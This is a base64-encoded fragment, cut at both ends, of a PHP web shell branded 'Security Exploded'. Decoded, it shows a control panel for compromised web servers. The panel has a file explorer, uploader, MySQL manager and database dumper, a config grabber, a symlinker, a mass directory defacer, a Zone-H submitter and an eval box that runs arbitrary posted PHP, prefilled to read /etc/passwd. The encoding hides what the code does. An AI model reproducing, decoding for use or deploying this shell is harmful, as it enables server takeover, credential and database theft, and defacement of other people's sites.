g7IC1tb3otYm9yZGVyLXJhZGl1czogNXB4OyAtbW96LWJveC1zaGFkb3c6MHB4IDBweCAxMHB4IDw/PSRjb2xvcjsgPz47IC13ZWJraXQtYm94LXNoYWRvdzowcHggMHB4IDVweCA7Cn0KLmV4cGxvcmUgdGh7CnBhZGRpbmc6M3B4IDhweDsKZm9udC13ZWlnaHQ6bm9ybWFsOyAtbW96LWJvcmRlci1yYWRpdXM6IDVweDsgLW1vei1ib3gtc2hhZG93OjBweCAwcHggMTBweCA8Pz0kY29sb3I7ID8+OyAtd2Via2l0LWJveC1zaGFkb3c6MHB4IDBweCA1cHggOwp9Ci5leHBsb3JlIHRoOmhvdmVyICwgLnBocGluZm8gdGg6aG92ZXJ7CmJvcmRlci1ib3R0b206MXB4IHNvbGlkICMwMGZmMDA7IC1tb3otYm9yZGVyLXJhZGl1czogNXB4OyAtbW96LWJveC1zaGFkb3c6MHB4IDBweCAxMHB4IDw/PSRjb2xvcjsgPz47IC13ZWJraXQtYm94LXNoYWRvdzowcHggMHB4IDVweCA7Cn0KLmV4cGxvcmUgdHI6aG92ZXJ7CmJhY2tncm91bmQ6IzExMTExMTsgLW1vei1ib3JkZXItcmFkaXVzOiA1cHg7IC1tb3otYm94LXNoYWRvdzowcHggMHB4IDEwcHggPD89JGNvbG9yOyA/PjsgLXdlYmtpdC1ib3gtc2hhZG93OjBweCAwcHggNXB4IDsKfQoudmlld2ZpbGV7CmJhY2tncm91bmQ6I0VERUNFQjsKY29sb3I6IzAwMDAwMDsKbWFyZ2luOjRweCAycHg7CnBhZGRpbmc6OHB4OyAtbW96LWJvcmRlci1yYWRpdXM6IDVweDsgLW1vei1ib3gtc2hhZG93OjBweCAwcHggMTBweCA8Pz0kY29sb3I7ID8+OyAtd2Via2l0LWJveC1zaGFkb3c6MHB4IDBweCA1cHggOwp9Ci5zZW1idW55aXsKZGlzcGxheTpub25lOwpwYWRkaW5nOjA7bWFyZ2luOjA7IC1tb3otYm9yZGVyLXJhZGl1czogNXB4OyAtbW96LWJveC1zaGFkb3c6MHB4IDBweCAxMHB4IDw/PSRjb2xvcjsgPz47IC13ZWJraXQtYm94LXNoYWRvdzowcHggMHB4IDVweCA7Cn0KLmpheWF7IG1hcmdpbjo1cHg7IHRleHQtYWxpZ246cmlnaHQ7IDw/PSRjb2xvcjsgPz47fQouZm9vdGVyeyBiYWNrZ3JvdW5kOiMxMTExMTE7IHdpZHRoOjk5JTsgcGFkZGluZzo1cHg7IG1hcmdpbjoxMHB4IGF1dG8gNXB4OyB0ZXh0LWFsaWduOmNlbnRlcjsgZm9udC1zaXplOjEzcHg7IC1tb3otYm9yZGVyLXJhZGl1czogNXB4OyAtbW96LWJveC1zaGFkb3c6MHB4IDBweCAxMHB4IDw/PSRjb2xvcjsgPz47IC13ZWJraXQtYm94LXNoYWRvdzowcHggMHB4IDVweCA7IH0gCi5mb290ZXIgYXsgZm9udC1zaXplOjE0cHg7IH0KLmZvb3RlciBzcGFueyBmb250LXNpemU6MTRweDt9Cjwvc3R5bGU+PC9oZWFkPgoKPGJvZHkgb25Mb2FkPSJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnY21kJykuZm9jdXMoKTsiPgo8IS0tIGxvZ291dCBzdGFydCBoZXJlIC0tPgo8ZGl2IGlkPSJtZW51Ij48c3BhbiBzdHlsZT0nZmxvYXQ6cmlnaHQ7Jz48YnI+Cjw/PSJUaW1lIE9uIFNlcnZlciA6IDxiPiAiLmRhdGUoImQgTSBZIEg6aTpzIix0aW1lKCkpLiI8L2I+IjsgPz4gPGJyPjxicj4gJm5ic3AgJm5ic3AgICZuYnNwICZuYnNwIAo8YSBocmVmPSI/PD89Ink9Ii4kcHdkOyA/PiZhbXA7eD1raWxsIiB0aXRsZT0nUmVtb3ZlIFNoZWxsJz5SZW1vdmU8L2E+CiB8IAo8YSBocmVmPSI/PD89Ink9Ii4kcHdkOyA/PiZhbXA7eD1sb2dvdXQiIHRpdGxlPSdMb2dvdXQnPkxvZ291dDwvYT4gJm5ic3AgJm5ic3AgJm5ic3AgPGJyPjxicj4KJm5ic3AgJm5ic3AgJm5ic3AgJm5ic3AgJm5ic3AgJm5ic3AgJm5ic3AgJm5ic3AgJm5ic3AgJm5ic3AgJm5ic3AgJm5ic3AgJm5ic3AgPGEgaHJlZj0iPzw/PSJ5PSIuJHB3ZDsgPz4mYW1wO3g9YWJvdXQiICB0aXRsZT0nQWJvdXQgQXV0aG9yJz5BYm91dDwvYT4KPC9zcGFuPjwvZGl2Pgo8IS0tIGxvZ291dCBlbmQgaGVyZSAtLT4KPGRpdiBjbGFzcz0ibWFpbiI+CjwhLS0gaGVhZCBpbmZvIHN0YXJ0IGhlcmUgLS0+CjxkaXYgY2xhc3M9ImhlYWRfaW5mbyI+Cjx0YWJsZT48dHI+Cjx0ZD48dGFibGUgY2xhc3M9ImlucHV0eiI+PHRyPjx0ZD48YSBocmVmPSIiIHRhcmdldD0iYmxhbmsiIG9uQ2xpY2s9ImxvY2F0aW9uLnJlbG9hZCgpOyI+PHNwYW4gY2xhc3M9IkYwa3U1Ij48aW1nIHNyYz0nPD89JGxvZ287ID8+JyB0aXRsZT0iU2VjdXJpdHkgRXhwbG9kZWQiIHdpZHRoPSIxNTAiIGhlaWdodD0iMTUwIj48L3NwYW4+PC9zcGFuPjwvYT48L3RkPjwvdHI+PHRyPjx0ZD4KPGEgaHJlZj0iaHR0cDovL3R3aXR0ZXIuY29tL1BvcnQyMl9FeHBsb2RlZCIgY2xhc3M9InR3aXR0ZXItZm9sbG93LWJ1dHRvbiIgZGF0YS1zaG93LWNvdW50PSJmYWxzZSI+ICAgIEZvbGxvdyBAUG9ydDIyX0V4cGxvZGVkPC9hPgo8c2NyaXB0PiFmdW5jdGlvbihkLHMsaWQpe3ZhciBqcyxmanM9ZC5nZXRFbGVtZW50c0J5VGFnTmFtZShzKVswXSxwPS9eaHR0cDovLnRlc3QoZC5sb2NhdGlvbik/J2h0dHAnOidodHRwJztpZighZC5nZXRFbGVtZW50QnlJZChpZCkpe2pzPWQuY3JlYXRlRWxlbWVudChzKTtqcy5pZD1pZDtqcy5zcmM9cCsnOi8vcGxhdGZvcm0udHdpdHRlci5jb20vd2lkZ2V0cy5qcyc7ZmpzLnBhcmVudE5vZGUuaW5zZXJ0QmVmb3JlKGpzLGZqcyk7fX0oZG9jdW1lbnQsICdzY3JpcHQnLCAndHdpdHRlci13anMnKTs8L3NjcmlwdD48L3RkPjwvdHI+PC90YWJsZT48L3RkPgo8dGQ+PD89JGJ1ZmY7ID8+PC90ZD4KPC90cj48L3RhYmxlPjwvZGl2Pgo8IS0tIGhlYWQgaW5mbyBlbmQgaGVyZSAtLT4KPCEtLSBtZW51IHN0YXJ0IC0tPjxicj4KPGNlbnRlcj48ZGl2IGlkPSJtZW51Ij4KPGEgaHJlZj0iPyI+PGltZyBzcmM9J2RhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQkFBQUFBUUNBWUFBQUFmOC85aEFBQUFBWE5TUjBJQXJzNGM2UUFBQUFaaVMwZEVBUDhBL3dEL29MMm5rd0FBQUFsd1NGbHpBQUFOMWdBQURkWUJrRzk1bkFBQUFBZDBTVTFGQjlvSkJ4UTJHUm51L1RnQUFBSnpTVVJCVkRqTHRaTFBTeHRCSE1YZjVzZW1aRGZTN0twSWFXelJTaG9GRDVVSzloNmFpNWVDUGZaa3dZSjRrRjU2NmEzMEgwZ0YyNEJVcURkakJUMVZDRklzTkJVV0V3K2hhMm9icERHVVhHUjFaN0taK2ZiUVJreTF2ZlVMQXpQRDQvTWVNdy80SDdPNnVnb0FzRzE3dEZ3dUp3RmdkM2YzUXEzeU4wZytuNytyNi9vS2dFdFFNRFdZR0h4NWtjNTM5ckM0dUFnQTJIeS9PYUdxNm9wbFdhVmNMbWR4eGw5WWx2VUVBTGEydHY2ZFlHUGpYU29TNmNoV0twV0thWnBkb1ZCSUw1VksrME5EUS8xRU5EMDJOalovTHNIYzNCd0FZRzF0YlNJWVZMT0ZRdUd6cG1sZGdVREFrRktxdmIyOTE3YTN0MjNHV0RxWHl6MEJnUFgxOWZZRXk4dkxLVjNYc3djSEJ4WERNTG9pa1lnaHBhUlcwa2Fqd2ZiSzVXODM0L0YrQU5PcFZHcitGTEMwdEhSZjAvVFgrL3RmN0o2ZW5pdWFwcGtBNkl3QnRTQzJiWDlOSkJJRFJQVDA1T1RrdVRMMWFLcGo5UGJveDFxdGRtZ1l4bFhUTkc4UUVWM3dQZ1JBY1YyM2JsbFdmbVJrWk5oMTNWdUtwbW5CdnI2K08xTEsyc3pNek50d09CeHZpWVVRVUJRRlBwK3ZCWUNVOGpDVHlhU09qNDh2QS9odzZqSStQaDVKSnBPZnd1RnduSWpBR0tzdkxDdzhjeHhIVEU0K2ZHd1kwUmdSZ1lpK080NHpQRHM3VzIvcmdldTZDbU1NakRGd3ppR0UrSkZJSkY1VnE5Vk1zK2tkY3M3Qk9RZGpERWRIUjZmR2dkWkdDQUhPT2Z4K1A0Z0lRZ2daalVhcHM5T2tScU5CakRIUXIxRTh6OE01UUxWYWhlTTRUWi9mQnhEUWJEWlZ6L01nSllGekhsUlZGVVJRbXMyR3FOZnI0cUltK21PeDJMM3U3dTVoS1NWQ0lYVlBTdkdtc0ZOVUJ1THhCOEZBNERvQWVKNjNVeXdXc3dCazJ4K2wwK2tXMFA5N0tYODB0blhmTmo4QjVORTVET01WMlQwQUFBQUFTVVZPUks1Q1lJST0nIGhlaWdodD0iMTgiIHdpZHRoPSIzNCIgdGl0bGU9J0hvbWUgJz48L2E+CjxhIGhyZWY9Ij88Pz0ieT0iLiRwd2Q7ID8+IiB0aXRsZT0nRmlsZSBFeHBsb3Jlcic+RmlsZXM8L2E+CjxhIGhyZWY9Ij88Pz0ieT0iLiRwd2Q7ID8+JmFtcDt4PXVwbG9hZCIgdGl0bGU9J1VwbG9hZCBGaWxlJz5VcGxvYWRlcjwvYT4KPGEgaHJlZj0iPzw/PSJ5PSIuJHB3ZDsgPz4mYW1wO3g9c3FsIiB0aXRsZT0nQ29ubmVjdCBUbyBEYXRhYmFzZSc+TXlTUUwgTWFuYWdlcjwvYT48YnI+PGJyPgo8YSBocmVmPSI/PD89Ink9Ii4kcHdkOyA/PiZhbXA7eD1qdW1waW5nIiB0aXRsZT0nSnVtcGluZyc+SnVtcGVyPC9hPgo8YSBocmVmPSI/PD89Ink9Ii4kcHdkOyA/PiZhbXA7eD1zeW1saW5rIiB0aXRsZT0nU3ltbGluayc+TXVsdGkgU3ltbGlua2VyPC9hPgo8YSBocmVmPSI/PD89Ink9Ii4kcHdkOyA/PiZhbXA7eD1ncmFiYyIgdGl0bGU9J0NvbmZpZyBHcmFiYmVyJz5Db25maWcgR3JhYmJlcjwvYT48YnI+PGJyPgo8YSBocmVmPSI/PD89Ink9Ii4kcHdkOyA/PiZhbXA7eD1tYXNzIiB0aXRsZT0nRGVmYWNlIFRvIEFsbCBGb2xkZXInPk1hc3MgRGlyZWN0b3J5IERlZmFjZXI8L2E+CjxhIGhyZWY9Ij88Pz0ieT0iLiRwd2Q7ID8+JmFtcDt4PXpvbmUiIHRpdGxlPSdTdWJtaXQgVmljdGltIFRvIFpvbmUtSCc+Wm9uZS1IIFN1Ym1pdGVyPC9hPgo8L2Rpdj48L2NlbnRlcj48YnI+CjwhLS0gbWVudSBlbmQgLS0+Cjw/cGhwCkBpbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsIDApOwpAaW5pX3NldCgnb3V0cHV0X2J1ZmZlcmluZycsMCk7CgppZihpc3NldCgkX0dFVFsneCddKSAmJiAoJF9HRVRbJ3gnXSA9PSAna2lsbCcpKSB7CiAgICAKICAgIGVjaG8gIgo8dGFibGUgc3R5bGU9d2lkdGg6MTAwJTsgYm9yZGVyPTAgY2xhc3M9dGFibmV0IGNlbGxwYWRkaW5nPTMgY2VsbHNwYWNpbmc9MSBhbGlnbj1jZW50ZXI+CgogICAgPHRyPgogICAgPHRkIHZhbGlnbj10b3AgYmdjb2xvcj0jMTUxNTE1IGNsYXNzPXN0eWxlMiBzdHlsZT13aWR0aDogMTM5cHg+CiAgICA8Y2VudGVyPjxiPjxmb250IHNpemU9NSBzdHlsZT1pdGFsaWMgY29sb3I9IzAwZmYwMD5TaGVsbCBLaWxsZXI8L2ZvbnQ+PC9iPjwvY2VudGVyPjwvdGQ+PC90cj48L3RhYmxlPgoiOwoKZWNobyAnPGNlbnRlcj48YnI+PGZvbnQgc3R5bGU9ImNvbG9yOjw/PSRjb2xvcjsgPz4iPkRvIFlvdSBSZWFsbHkgV2FudCBUbyBEZWxldGUgVGhpcyBTaGVsbCA/PC9iPjwvY2VudGVyPjxicj4nOwo/Pgo8Y2VudGVyPgo8ZGl2IGlkPSJtZW51Ij4KPGEgIGhyZWY9Ij88Pz0ieT0iLiRwd2Q7Pz4mYW1wO3g9a2lsbGl0IiB0aXRsZT0nUmVtb3ZlIFNoZWxsJyA+WWVzLCBJIFdhbnQ8L2ZvbnQ+PC9hPiAmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsgCjxhICBocmVmPSI8Pz0kX1NFUlZFUlsnUEhQX1NFTEYnXTsgPz4iPkNhbmNlbDwvYT48L2I+PC9jZW50ZXI+PGJyPjxicj4KPC9kaXY+Cjw/cGhwCn0KaWYoaXNzZXQoJF9HRVRbJ3gnXSkgJiYgKCRfR0VUWyd4J10gPT0gJ2tpbGxpdCcpKSB7CiRmaWxlID0gJF9TRVJWRVJbJ1BIUF9TRUxGJ107CmlmKEB1bmxpbmsocHJlZ19yZXBsYWNlKCchXChcZCtcKVxzLiohJywgJycsIF9fRklMRV9fKSkpCmRpZSgnPGJyPjxicj48YiBjbGFzcz0idG1wIj48Zm9udCBjb2xvcj0iI2ZmMDAwMCIgc2l6ZT0iMnB0Ij48Y2VudGVyPlNoZWxsIEhhcyBCZWVuIEtpbGxlZC4uLiBUYWtlIENhcmUgQW5kIFN0YXkgU2FmZTwvY2VudGVyPjwvZm9udD48L2I+PG1ldGEgaHR0cC1lcXVpdj0icmVmcmVzaCIgY29udGVudD0iMzsgdXJsPT8iLiRwd2QuIiIgLz4nKTsKZWxzZQplY2hvICc8Zm9udCBjb2xvcj0iI2ZmZjYwMCIgc2l6ZT0iMnB0Ij5VbmxpbmsgRXJyb3IgITwvZm9udD4nOwoKfQovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLwplbHNlaWYoaXNzZXQoJF9HRVRbJ3gnXSkgJiYgKCRfR0VUWyd4J10gPT0gJ3BocCcpKQp7CkBpbmlfc2V0KCdvdXRwdXRfYnVmZmVyaW5nJywwKTsKZWNobyAiCjx0YWJsZSBzdHlsZT13aWR0aDoxMDAlOyBib3JkZXI9MCBjbGFzcz10YWJuZXQgY2VsbHBhZGRpbmc9MyBjZWxsc3BhY2luZz0xIGFsaWduPWNlbnRlcj4KCiAgICA8dHI+CiAgICA8dGQgdmFsaWduPXRvcCBiZ2NvbG9yPSMxNTE1MTUgY2xhc3M9c3R5bGUyIHN0eWxlPXdpZHRoOiAxMzlweD4KICAgIDxjZW50ZXI+PGI+PGZvbnQgc2l6ZT01IHN0eWxlPWl0YWxpYyBjb2xvcj0jMDBmZjAwPkV2YWw8L2ZvbnQ+PC9iPjwvY2VudGVyPjwvdGQ+PC90cj48L3RhYmxlPgoiOwogPz4KCjxmb3JtIGFjdGlvbj0iP3k9PD89JHB3ZDsgPz4mYW1wO3g9cGhwIiBtZXRob2Q9InBvc3QiPgo8dGFibGUgY2xhc3M9InRhYm5ldCIgc3R5bGU9IndpZHRoOjgwMHB4O2hlaWdodDozMDBweCI+Cjx0cj48dGQ+Cjx0ZXh0YXJlYSBjbGFzcz0ib3V0cHV0IiBuYW1lPSJjbWQiIGlkPSJjbWQiPgo8P3BocAppZihpc3NldCgkX1BPU1RbJ3N1Ym1pdGNtZCddKSkgewogICAgZWNobyBldmFsKG1hZ2ljYm9vbSgkX1BPU1RbJ2NtZCddKSk7Cn0KZWxzZSBlY2hvICJlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCcvZXRjL3Bhc3N3ZCcpOyI7Cj8+CjwvdGV4dGFyZWE+Cjx0cj48dGQ+PGlucHV0IHN0eWxlPSJ3aWR0aDo4MDBweDsiIGNsYXNzPSJpbnB1dHpidXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkdvICEiIG5hbWU9InN1Ym1pdGNtZCIgLz48L3RkPjwvdHI+PC9mb3JtPgo8L3RhYmxlPgo8L2Zvcm0+Cgo8P3BocCB9CgovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLwovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vCmVsc2VpZihpc3NldCgkX0dFVFsneCddKSAmJiAoJF9HRVRbJ3gnXSA9PSAnc3FsJykpewogICAgZWNobyAiCjx0YWJsZSBzdHlsZT13aWR0aDoxMDAlOyBib3JkZXI9MCBjbGFzcz10YWJuZXQgY2VsbHBhZGRpbmc9MyBjZWxsc3BhY2luZz0xIGFsaWduPWNlbnRlcj4KCiAgICA8dHI+CiAgICA8dGQgdmFsaWduPXRvcCBiZ2NvbG9yPSMxNTE1MTUgY2xhc3M9c3R5bGUyIHN0eWxlPXdpZHRoOiAxMzlweD4KICAgIDxjZW50ZXI+PGI+PGZvbnQgc2l6ZT01IHN0eWxlPWl0YWxpYyBjb2xvcj0jMDBmZjAwPk15U1FMIE1hbmFnZXI8L2ZvbnQ+PC9iPjwvY2VudGVyPjwvdGQ+PC90cj48L3RhYmxlPgoiOwpmdW5jdGlvbiB2aWV3X3NpemUoJHNpemUpIHsKICBpZiAoIWlzX251bWVyaWMoJHNpemUpKSB7IHJldHVybiBGQUxTRTsgfQogIGVsc2UgewppZiAoJHNpemUgPj0gMTA3Mzc0MTgyNCkgeyRzaXplID0gcm91bmQoJHNpemUvMTA3Mzc0MTgyNCoxMDApLzEwMCAuIiBHQiI7fQplbHNlaWYgKCRzaXplID49IDEwNDg1NzYpIHskc2l6ZSA9IHJvdW5kKCRzaXplLzEwNDg1NzYqMTAwKS8xMDAgLiIgTUIiO30KZWxzZWlmICgkc2l6ZSA+PSAxMDI0KSB7JHNpemUgPSByb3VuZCgkc2l6ZS8xMDI0KjEwMCkvMTAwIC4iIEtCIjt9CmVsc2UgeyRzaXplID0gJHNpemUgLiAiIEIiO30KcmV0dXJuICRzaXplOwogIH0KfQpmdW5jdGlvbiBteXNxbF9kdW1wKCRzZXQpIHsKICAkc29jayA9ICRzZXRbInNvY2siXTsKICAkZGIgPSAkc2V0WyJkYiJdOwogICRwcmludCA9ICRzZXRbInByaW50Il07CiAgJG5sMmJyID0gJHNldFsibmwyYnIiXTsKICAkZmlsZSA9ICRzZXRbImZpbGUiXTsKICAkYWRkX2Ryb3AgPSAkc2V0WyJhZGRfZHJvcCJdOwogICR0YWJzID0gJHNldFsidGFicyJdOwogICRvbmx5dGFicyA9ICRzZXRbIm9ubHl0YWJzIl07CiAgJHJldCA9IGFycmF5KCk7CiAgJHJldFsiZXJyIl0gPSBhcnJheSgpOwogIGlmICghaXNfcmVzb3VyY2UoJHNvY2spKSB7ZWNobygiRXJyb3I6IFwkc29jayBpcyBub3QgdmFsaWQgcmVzb3VyY2UuIik7fQogIGlmIChlbXB0eSgkZGIpKSB7JGRiID0gImRiIjt9CiAgaWYgKGVtcHR5KCRwcmludCkpIHskcHJpbnQgPSAwO30KICBpZiAoZW1wdHkoJG5sMmJyKSkgeyRubDJiciA9IDA7fQogIGlmIChlbXB0eSgkYWRkX2Ryb3ApKSB7JGFkZF9kcm9wID0gVFJVRTt9CiAgaWYgKGVtcHR5KCRmaWxlKSkgewokZmlsZSA9ICR0bXBfZGlyLiJkdW1wXyIuZ2V0ZW52KCJTRVJWRVJfTkFNRSIpLiJfIi4kZGIuIl8iLmRhdGUoImQtbS1ZLUgtaS1zIikuIi5zcWwiOwogIH0KICBpZiAoIWlzX2FycmF5KCR0YWJzKSkgeyR0YWJzID0gYXJyYXkoKTt9CiAgaWYgKGVtcHR5KCRhZGRfZHJvcCkpIHskYWRkX2Ryb3AgPSBUUlVFO30KICBpZiAoc2l6ZW9mKCR0YWJzKSA9PSAwKSB7CiRyZXMgPSBteXNxbF9xdWVyeSgiU0hPVyBUQUJMRVMgRlJPTSAiLiRkYiwgJHNvY2spOwppZiAobXlzcWxfbnVtX3Jvd3MoJHJlcykgPiAwKSB7d2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9yb3coJHJlcykpIHskdGFic1tdID0gJHJvd1swXTt9fQogIH0KICAkb3V0ID0gIgogICMgRHVtcGVkIEJ5ICIuJHhOYW1lLiIKICAjIE15U1FMIHZlcnNpb246ICgiLm15c3FsX2dldF9zZXJ2ZXJfaW5mbygpLiIpIHJ1bm5pbmcgb24gIi5nZXRlbnYoIlNFUlZFUl9BRERSIikuIiAoIi5nZXRlbnYoIlNFUlZFUl9OQU1FIikuIikiLiIKICAjIERhdGU6ICIuZGF0ZSgiZC5tLlkgSDppOnMiKS4iCiAgIyBEQjogXCIiLiRkYi4iXCIKICAjLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIjsKICAkYyA9IGNvdW50KCRvbmx5dGFicyk7CiAgZm9yZWFjaCgkdGFicyBhcyAkdGFiKSB7CmlmICgoaW5fYXJyYXkoJHRhYiwkb25seXRhYnMpKSBvciAoISRjKSkgewogIGlmICgkYWRkX2Ryb3ApIHskb3V0IC49ICJEUk9QIFRBQkxFIElGIEVYSVNUUyBgIi4kdGFiLiJgO1xuIjt9CiAgJHJlcyA9IG15c3FsX3F1ZXJ5KCJTSE9XIENSRUFURSBUQUJMRSBgIi4kdGFiLiJgIiwgJHNvY2spOwogIGlmICghJHJlcykgeyRyZXRbImVyciJdW10gPSBteXNxbF9zbWFydGVycm9yKCk7fQogIGVsc2Ugewokcm93ID0gbXlzcWxfZmV0Y2hfcm93KCRyZXMpOwokb3V0IC49ICRyb3dbIjEiXS4iO1xuXG4iOwokcmVzID0gbXlzcWxfcXVlcnkoIlNFTEVDVCAqIEZST00gYCR0YWJgIiwgJHNvY2spOwppZiAobXlzcWxfbnVtX3Jvd3MoJHJlcykgPiAwKSB7CiAgd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hc3NvYygkcmVzKSkgewoka2V5cyA9IGltcGxvZGUoImAsIGAiLCBhcnJheV9rZXlzKCRyb3cpKTsKJHZhbHVlcyA9IGFycmF5X3ZhbHVlcygkcm93KTsKZm9yZWFjaCgkdmFsdWVzIGFzICRrPT4kdikgeyR2YWx1ZXNbJGtdID0gYWRkc2xhc2hlcygkdik7fQokdmFsdWVzID0gaW1wbG9kZSgiJywgJyIsICR2YWx1ZXMpOwokc3FsID0gIklOU0VSVCBJTlRPIGAkdGFiYChgIi4ka2V5cy4iYCkgVkFMVUVTICgnIi4kdmFsdWVzLiInKTtcbiI7CiRvdXQgLj0gJHNxbDsKICB9Cn0KICB9Cn0KICB9CiAgJG91dCAuPSAiIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxuXG4iOwogIGlmICgkZmlsZSkgewokZnAgPSBmb3BlbigkZmlsZSwgInciKTsKaWYgKCEkZnApIHskcmV0WyJlcnIiXVtdID0gMjt9CmVsc2UgewogIGZ3cml0ZSAoJGZwLCAkb3V0KTsKICBmY2xvc2UgKCRmcCk7Cn0KICB9CiAgaWYgKCRwcmludCkge2lmICgkbmwyYnIpIHtlY2hvIG5sMmJyKCRvdXQpO30gZWxzZSB7ZWNobyAkb3V0O319CiAgcmV0dXJuICRvdXQ7Cn0KZnVuY3Rpb24gbXlzcWxfYnVpbGR3aGVyZSgkYXJyYXksJHNlcD0iIGFuZCIsJGZ1bmN0cz1hcnJheSgpKSB7CiAgaWYgKCFpc19hcnJheSgkYXJyYXkpKSB7JGFycmF5ID0gYXJyYXkoKTt9CiAgJHJlc3VsdCA9ICIiOwogIGZvcmVhY2goJGFycmF5IGFzICRrPT4kdikgewokdmFsdWUgPSAiIjsKaWYgKCFlbXB0eSgkZnVuY3RzWyRrXSkpIHskdmFsdWUgLj0gJGZ1bmN0c1ska10uIigiO30KJHZhbHVlIC49ICInIi5hZGRzbGFzaGVzKCR2KS4iJyI7CmlmICghZW1wdHkoJGZ1bmN0c1ska10pKSB7JHZhbHVlIC49ICIpIjt9CiRyZXN1bHQgLj0gImAiLiRrLiJgID0gIi4kdmFsdWUuJHNlcDsKICB9CiAgJHJlc3VsdCA9IHN1YnN0cigkcmVzdWx0LDAsc3RybGVuKCRyZXN1bHQpLXN0cmxlbigkc2VwKSk7CiAgcmV0dXJuICRyZXN1bHQ7Cn0KZnVuY3Rpb24gbXlzcWxfZmV0Y2hfYWxsKCRxdWVyeSwkc29jaykgewogIGlmICgkc29jaykgeyRyZXN1bHQgPSBteXNxbF9xdWVyeSgkcXVlcnksJHNvY2spO30KICBlbHNlIHskcmVzdWx0ID0gbXlzcWxfcXVlcnkoJHF1ZXJ5KTt9CiAgJGFycmF5ID0gYXJyYXkoKTsKICB3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQpKSB7JGFycmF5W10gPSAkcm93O30KICBteXNxbF9mcmVlX3Jlc3VsdCgkcmVzdWx0KTsKICByZXR1cm4gJGFycmF5Owp9CmZ1bmN0aW9uIG15c3FsX3NtYXJ0ZXJyb3IoJHNvY2spIHsKICBpZiAoJHNvY2spIHsgJGVycm9yID0gbXlzcWxfZXJyb3IoJHNvY2spOyB9CiAgZWxzZSB7ICRlcnJvciA9IG15c3FsX2Vycm9yKCk7IH0KICAkZXJyb3IgPSBodG1sc3BlY2lhbGNoYXJzKCRlcnJvcik7CiAgcmV0dXJuICRlcnJvcjsKfQpmdW5jdGlvbiBteXNxbF9xdWVyeV9mb3JtKCkgewogIGdsb2JhbCAkc3VibWl0LCRzcWxfeCwkc3FsX3F1ZXJ5LCRzcWxfcXVlcnlfcmVzdWx0LCRzcWxfY29uZmlybSwkc3FsX3F1ZXJ5X2Vycm9yLCR0Ymxfc3RydWN0OwogIGlmICgoJHN1Ym1pdCkgYW5kICghJHNxbF9xdWVyeV9yZXN1bHQpIGFuZCAoJHNxbF9jb25maXJtKSkge2lmICghJHNxbF9xdWVyeV9lcnJvcikgeyRzcWxfcXVlcnlfZXJyb3IgPSAiUXVlcnkgd2FzIGVtcHR5Ijt9IGVjaG8gIjxiPkVycm9yOjwvYj4gPGJyPiIuJHNxbF9xdWVyeV9lcnJvci4iPGJyPiI7fQogIGlmICgkc3FsX3F1ZXJ5X3Jlc3VsdCBvciAoISRzcWxfY29uZmlybSkpIHskc3FsX3ggPSAkc3FsX2dvdG87fQogIGlmICgoISRzdWJtaXQpIG9yICgkc3FsX3gpKSB7CmVjaG8gIjx0YWJsZT48dHI+PHRkPjxmb3JtIG5hbWU9XCJmeDI5c2hfc3FscXVlcnlcIiBtZXRob2Q9UE9TVD48Yj4iOyBpZiAoKCRzcWxfcXVlcnkpIGFuZCAoISRzdWJtaXQpKSB7ZWNobyAiRG8geW91IHJlYWxseSB3YW50IHRvIjt9IGVsc2Uge2VjaG8gIlNRTC1RdWVyeSI7fSBlY2hvICI6PC9iPjxicj48YnI+PHRleHRhcmVhIG5hbWU9c3FsX3F1ZXJ5IGNvbHM9MTAwIHJvd3M9MTA+Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcXVlcnkpLiI8L3RleHRhcmVhPjxicj48YnI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9eCB2YWx1ZT1zcWw+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9c3FsX3ggdmFsdWU9cXVlcnk+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9c3FsX3RibCB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3RibCkuIlwiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXN1Ym1pdCB2YWx1ZT1cIjFcIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1cInNxbF9nb3RvXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9nb3RvKS4iXCI+PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9c3FsX2NvbmZpcm0gdmFsdWU9XCJZZXNcIj4gPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPVwiTm9cIj48L2Zvcm0+PC90ZD4iOwppZiAoJHRibF9zdHJ1Y3QpIHsKICBlY2hvICI8dGQgdmFsaWduPVwidG9wXCI+PGI+RmllbGRzOjwvYj48YnI+IjsKICBmb3JlYWNoICgkdGJsX3N0cnVjdCBhcyAkZmllbGQpIHskbmFtZSA9ICRmaWVsZFsiRmllbGQiXTsgZWNobyAiKyA8YSBocmVmPVwiI1wiIG9uY2xpY2s9XCJkb2N1bWVudC5meDI5c2hfc3FscXVlcnkuc3FsX3F1ZXJ5LnZhbHVlKz0nYCIuJG5hbWUuImAnO1wiPjxiPiIuJG5hbWUuIjwvYj48L2E+PGJyPiI7fQogIGVjaG8gIjwvdGQ+PC90cj48L3RhYmxlPiI7Cn0KICB9CiAgaWYgKCRzcWxfcXVlcnlfcmVzdWx0IG9yICghJHNxbF9jb25maXJtKSkge